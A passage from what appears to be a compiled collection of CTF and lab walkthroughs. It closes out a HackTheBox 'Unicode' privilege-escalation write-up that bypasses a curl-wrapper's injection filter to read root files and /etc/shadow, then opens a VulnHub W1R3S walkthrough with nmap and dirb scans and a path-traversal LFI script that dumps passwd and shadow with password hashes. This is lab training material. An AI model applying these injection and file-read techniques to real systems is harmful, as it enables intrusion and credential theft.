drwxrwxrwx   3 root root   4096  5月 16  2020 scripts
drwxrwxrwx   6 root root   4096  5月 16  2020 tests
┌──(root💀kali)-[~/pycdc]
└─# make                                                                                                           
[  2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/python_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.cpp, bytes/python_38.cpp                                                                            
[  5%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o
[  7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o
[ 10%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o
[ 12%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o
[ 15%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o
[ 17%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o
[ 20%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o
[ 23%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o
[ 25%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o
[ 28%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o
[ 30%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o
[ 33%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o
[ 35%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o
[ 38%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o
[ 41%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o
[ 43%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o
[ 46%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o
[ 48%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o
[ 51%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o
[ 53%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o
[ 56%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o
[ 58%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o
[ 61%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o
[ 64%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o
[ 66%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o
[ 69%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o
[ 71%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o
[ 74%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o
[ 76%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o
[ 79%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o
[ 82%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o
[ 84%] Linking CXX static library libpycxx.a
[ 84%] Built target pycxx
[ 87%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o
[ 89%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o
[ 92%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o
[ 94%] Linking CXX executable pycdc
[ 94%] Built target pycdc
[ 97%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o
[100%] Linking CXX executable pycdas
[100%] Built target pycdas
┌──(root💀kali)-[~/pycdc]
└─# ls                                                                                                             
ASTNode.cpp   bytecode_ops.inl     data.cpp     pyc_code.cpp  pyc_module.cpp   pyc_sequence.cpp    scripts
ASTNode.h     bytes                data.h       pyc_code.h    pyc_module.h     pyc_sequence.h      tests
ASTree.cpp    CMakeCache.txt       FastStack.h  pycdas        pyc_numeric.cpp  pyc_string.cpp
ASTree.h      CMakeFiles           libpycxx.a   pycdas.cpp    pyc_numeric.h    pyc_string.h
bytecode.cpp  cmake_install.cmake  LICENSE      pycdc         pyc_object.cpp   PythonBytecode.txt
bytecode.h    CMakeLists.txt       Makefile     pycdc.cpp     pyc_object.h     README.markdown
```

Now we can use this to decompile.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode/treport_extracted]
└─# /root/pycdc/pycdc treport.pyc
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.9)
Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re

class threat_report:
    def create(self):
        Unsupported opcode: <255>
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        file_path = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete
    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)
    def read_file(self):
        Unsupported opcode: <255>
        file_name = input('\nEnter the filename:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        contents = ''
        file_name = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete
    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
    ip = input('Enter the IP/file_name:')
    res = bool(re.search('\\s', ip))
    if res:
        print('INVALID IP')
        sys.exit(0)
    if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
        print('INVALID URL')
        sys.exit(0)
    cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
    current_time + '"'
    os.system(cmd)
```

Looking at the code, we can see a command is being called to download reports. It is using curl command to do that. It has also filter in place to protect from injection attacks. We can't possibly run bash commands to gain shell, we have to use curl flags or switches to read either root flag or SSH private keys.

``` bash
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is 
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
```

or

``` bash
Enter your choice:3
Enter the IP/file_name:{-K,/root/root.txt}
Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is 
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Enter your choice:
```

or use the following to get root flag and /etc/shadow together...

``` bash
code@code:~$ cd $(mktemp --directory)
code@code:/tmp/tmp.cg0X17Nhmm$ touch -- 127.0.0.1 --silent --create-dirs
code@code:/tmp/tmp.cg0X17Nhmm$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:*
Enter your choice:3
Enter the IP/file_name:File:///root/root.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    33  100    33    0     0  33000      0 --:--:-- --:--:-- --:--:-- 33000

Enter your choice:3
Enter the IP/file_name:File:///etc/shadow   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1183  100  1183    0     0  1155k      0 --:--:-- --:--:-- --:--:-- 1155k
Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56

Enter the filename:threat_report_15_45_38
root:$6$XbmQqbMSJS0PISos$fHZLEpIBtbsRd2ltGIYSJPfmIYYyLKxx9iUiPdcBGsrp8STgHopWnoZ1WKXgrwc1d81idPRJxICovSXGUF.we/:18799:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18799:0:99999:7:::
sshd:*:18799:0:99999:7:::
systemd-coredump:!!:18799::::::
lxd:!:18799::::::
mysql:!:18799:0:99999:7:::
code:$6$tdOqUgDnt8lqOmpk$Y5JZc.PspT2gkpp6LqWHUElepUmZerkVmSB8XV9Oss2zgmzO8cvNUyo4AGjfkbaRO34mV3leNx5HPvgtXSlrv.:18799:0:99999:7:::

Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56

Enter the filename:threat_report_15_44_56
83073a2469b47c0e6c08b421a6aa8539
```

As you can see from the command injection list 'curly brackets' are not being filtered, we take advantage of that to pass curl config switch to expose root flag.This curl switch actually can't read the files, but the functionality of that is, if the text file is not in curl Standard format then it just prints out all the content of that given file. I got SSH private keys, but the SSH configuration only accepts password for authentication, not keys.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2118.jpg)

#### Summary of knowledge

 - jwt token forge by using https://jwt.io and https://mkjwk.org/
 - off-by-slash bug redirect to our local machine
 - file read bypass by using Unicode normalization
 - fuzzing file read arg to get db.yaml file content
 - using pycdc to decompile .pyc file to readable file
 - command injection list words bypass
 - privesc through /usr/bin/treport by using curl command injection attacks

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end unicode -->

</details>

<a id="case-w1r3s-1-0-1"></a>

## Cuppa 解析器与系统文件

目录枚举定位 Cuppa，文件包含接口读取账户材料。原文保留参数传递、文件内容和后续认证结果。

<p class="kb-provenance">来源 W1R3S-1-0-1 · 原记录 2020-01-03 · 12 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-w1r3s-1-0-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start W1R3S-1-0-1 -->

#### 发布日期

名称：W1R3S: 1.0.1
发布日期：2018年2月5日

#### 下载

 - Download: https://drive.google.com/file/d/1sWJRjku9uNWS0f_Jul24LCQ2ZLucSG4X/view?usp=sharing
 - Download (Mirror): https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
 - Download (Torrent): https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip.torrent



#### 描述

您已被雇用在W1R3S.inc单个服务器上进行渗透测试并报告所有发现。 他们要求您获得root用户访问权限并找到该flag（位于/root目录中）。
获得低特权的shell难度：初学者/中级
特权升级难度：初学者/中级
关于：这是个易受攻击的Ubuntu box，为您提供一些真实世界的场景，使我想起了OSCP实验室。
虚拟机：VMware Workstation

v1.0.0-2018年5月2日v1.0.1-2018年8月3日

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.0/24
Nmap scan report for 192.168.66.7
Host is up (0.00030s latency).
MAC Address: 00:0C:29:AA:7F:FC (VMware)
```

``` bash
root@kali:~# nmap -sV -Pn -v -p- 192.168.66.7
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
```

``` bash
root@kali:~# nmap -v -A -Pn -T5 -sV --script=vuln 192.168.66.7
PORT      STATE  SERVICE         VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp             vsftpd 2.0.8 or later
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp    open   ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp    open   http            Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /wordpress/wp-login.php: Wordpress login page.
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.18: 
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1333   5.0     https://vulners.com/cve/CVE-2018-1333
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-8740   5.0     https://vulners.com/cve/CVE-2016-8740
|       CVE-2016-4979   5.0     https://vulners.com/cve/CVE-2016-4979
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2016-1546   4.3     https://vulners.com/cve/CVE-2016-1546
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
990/tcp   closed ftps
3306/tcp  open   mysql           MySQL (unauthorized)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
```

目录爆破一波

``` bash
root@kali:~# dirb http://192.168.66.7/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan  8 01:22:15 2020
URL_BASE: http://192.168.66.7/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.66.7/ ----
==> DIRECTORY: http://192.168.66.7/administrator/                                                     
+ http://192.168.66.7/index.html (CODE:200|SIZE:11321)                                                
==> DIRECTORY: http://192.168.66.7/javascript/                                                        
+ http://192.168.66.7/server-status (CODE:403|SIZE:277)                                               
==> DIRECTORY: http://192.168.66.7/wordpress/                                                         
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/ ----
==> DIRECTORY: http://192.168.66.7/administrator/alerts/                                              
==> DIRECTORY: http://192.168.66.7/administrator/api/                                                 
==> DIRECTORY: http://192.168.66.7/administrator/classes/                                             
==> DIRECTORY: http://192.168.66.7/administrator/components/                                          
==> DIRECTORY: http://192.168.66.7/administrator/extensions/                                          
+ http://192.168.66.7/administrator/index.php (CODE:302|SIZE:6946)                                    
==> DIRECTORY: http://192.168.66.7/administrator/installation/                                        
==> DIRECTORY: http://192.168.66.7/administrator/js/                                                  
==> DIRECTORY: http://192.168.66.7/administrator/language/                                            
==> DIRECTORY: http://192.168.66.7/administrator/media/                                               
+ http://192.168.66.7/administrator/robots.txt (CODE:200|SIZE:26)                                     
==> DIRECTORY: http://192.168.66.7/administrator/templates/                                           
                                                                                                      
---- Entering directory: http://192.168.66.7/javascript/ ----
==> DIRECTORY: http://192.168.66.7/javascript/jquery/                                                 
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/ ----
+ http://192.168.66.7/wordpress/index.php (CODE:200|SIZE:55879)                                       
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/                                                
==> DIRECTORY: http://192.168.66.7/wordpress/wp-content/                                              
==> DIRECTORY: http://192.168.66.7/wordpress/wp-includes/                                             
+ http://192.168.66.7/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                         
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/alerts/ ----
+ http://192.168.66.7/administrator/alerts/index.html (CODE:200|SIZE:31)                              
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/api/ ----
==> DIRECTORY: http://192.168.66.7/administrator/api/administrator/                                   
+ http://192.168.66.7/administrator/api/index.php (CODE:200|SIZE:62)                                  
==> DIRECTORY: http://192.168.66.7/administrator/api/test/                                            
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/classes/ ----
==> DIRECTORY: http://192.168.66.7/administrator/classes/ajax/                                        
+ http://192.168.66.7/administrator/classes/index.html (CODE:200|SIZE:31)                             
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/components/ ----
==> DIRECTORY: http://192.168.66.7/administrator/components/configuration/                            
+ http://192.168.66.7/administrator/components/index.html (CODE:200|SIZE:31)                          
==> DIRECTORY: http://192.168.66.7/administrator/components/menu/                                     
==> DIRECTORY: http://192.168.66.7/administrator/components/stats/                                    
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/extensions/ ----
==> DIRECTORY: http://192.168.66.7/administrator/extensions/banners/                                  
==> DIRECTORY: http://192.168.66.7/administrator/extensions/content/                                  
+ http://192.168.66.7/administrator/extensions/index.html (CODE:200|SIZE:31)                          
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/installation/ ----
==> DIRECTORY: http://192.168.66.7/administrator/installation/html/                                   
+ http://192.168.66.7/administrator/installation/index.php (CODE:200|SIZE:4322)                       
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/js/ ----
==> DIRECTORY: http://192.168.66.7/administrator/js/filemanager/                                      
+ http://192.168.66.7/administrator/js/index.html (CODE:200|SIZE:31)                                  
==> DIRECTORY: http://192.168.66.7/administrator/js/jquery/                                           
==> DIRECTORY: http://192.168.66.7/administrator/js/tiny_mce/                                         
                                                                                                      
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/templates/ ----
==> DIRECTORY: http://192.168.66.7/administrator/templates/default/                                   
+ http://192.168.66.7/administrator/templates/index.html (CODE:200|SIZE:31)                           
                                                                                                      
---- Entering directory: http://192.168.66.7/javascript/jquery/ ----
+ http://192.168.66.7/javascript/jquery/jquery (CODE:200|SIZE:284394)                                 
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/wp-admin/ ----
+ http://192.168.66.7/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                  
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/css/                                            
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/images/                                         
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/includes/                                       
+ http://192.168.66.7/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                  
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/js/                                             
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/maint/                                          
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/network/                                        
==> DIRECTORY: http://192.168.66.7/wordpress/wp-admin/user/                                           
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/wp-content/ ----
+ http://192.168.66.7/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                
==> DIRECTORY: http://192.168.66.7/wordpress/wp-content/plugins/                                      
==> DIRECTORY: http://192.168.66.7/wordpress/wp-content/themes/                                       
==> DIRECTORY: http://192.168.66.7/wordpress/wp-content/upgrade/                                      
==> DIRECTORY: http://192.168.66.7/wordpress/wp-content/uploads/                                      
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/components/configuration/ ----
==> DIRECTORY: http://192.168.66.7/administrator/components/configuration/html/                       
+ http://192.168.66.7/administrator/components/configuration/index.php (CODE:200|SIZE:45)             
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/components/menu/ ----
==> DIRECTORY: http://192.168.66.7/administrator/components/menu/classes/                             
==> DIRECTORY: http://192.168.66.7/administrator/components/menu/html/                                
+ http://192.168.66.7/administrator/components/menu/index.php (CODE:200|SIZE:45)                      
                                                                                                      
---- Entering directory: http://192.168.66.7/administrator/components/stats/ ----
+ http://192.168.66.7/administrator/components/stats/index.php (CODE:200|SIZE:45)                                                                                                                                                                                                                                
---- Entering directory: http://192.168.66.7/administrator/templates/default/ ----
==> DIRECTORY: http://192.168.66.7/administrator/templates/default/classes/                           
==> DIRECTORY: http://192.168.66.7/administrator/templates/default/css/                               
==> DIRECTORY: http://192.168.66.7/administrator/templates/default/html/                              
==> DIRECTORY: http://192.168.66.7/administrator/templates/default/images/                            
+ http://192.168.66.7/administrator/templates/default/index.php (CODE:500|SIZE:0)                     
                                                                                                                                                                                                           
---- Entering directory: http://192.168.66.7/wordpress/wp-admin/network/ ----
+ http://192.168.66.7/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                          
+ http://192.168.66.7/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                          
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/wp-admin/user/ ----
+ http://192.168.66.7/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                             
+ http://192.168.66.7/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                             
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/wp-content/plugins/ ----
+ http://192.168.66.7/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                        
                                                                                                      
---- Entering directory: http://192.168.66.7/wordpress/wp-content/themes/ ----
+ http://192.168.66.7/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)
```

administrator目录原来是Cuppa CMS的安装设置。这是将浏览器指向/administrator时呈现出的页面。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub129.jpg)

根据官方文档，为了完成安装，必须首先创建数据库。

``` bash
Remember, the database should be created before to install Cuppa CMS.
```

首先，Cuppa CMS安装未完成，否则将看不到设置页面。下载了Cuppa CMS代码的副本，以查看是否可以发现任何漏洞。不确定这是否是新漏洞，但在第77行的alertConfigField.php中找到一个LFI漏洞令人惊喜。

![](https://hackso.me/assets/images/posts/w1r3s-1.0.1-walkthrough/screenshot-2.png)

为了测试它，编写了cat.sh，一个简单的脚本，只要有权限，它就会显示任何文件。

``` bash
#!/bin/bash

_HOST=192.168.66.7
_PATH=administrator/alerts/alertConfigField.php
_PARM=urlConfig
_TRAV=../../../../../../../..

curl -s --data-urlencode "${_PARM}=${_TRAV}$1" $_HOST/$_PATH \
| sed -r 's/^ {8}//' \
| sed '71,$!d' \
| sed '$d' \
| sed '$d'
```

运行脚本

``` bash
root@kali:~# ./cat.sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
root@kali:~# ./cat.sh /etc/shadow
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
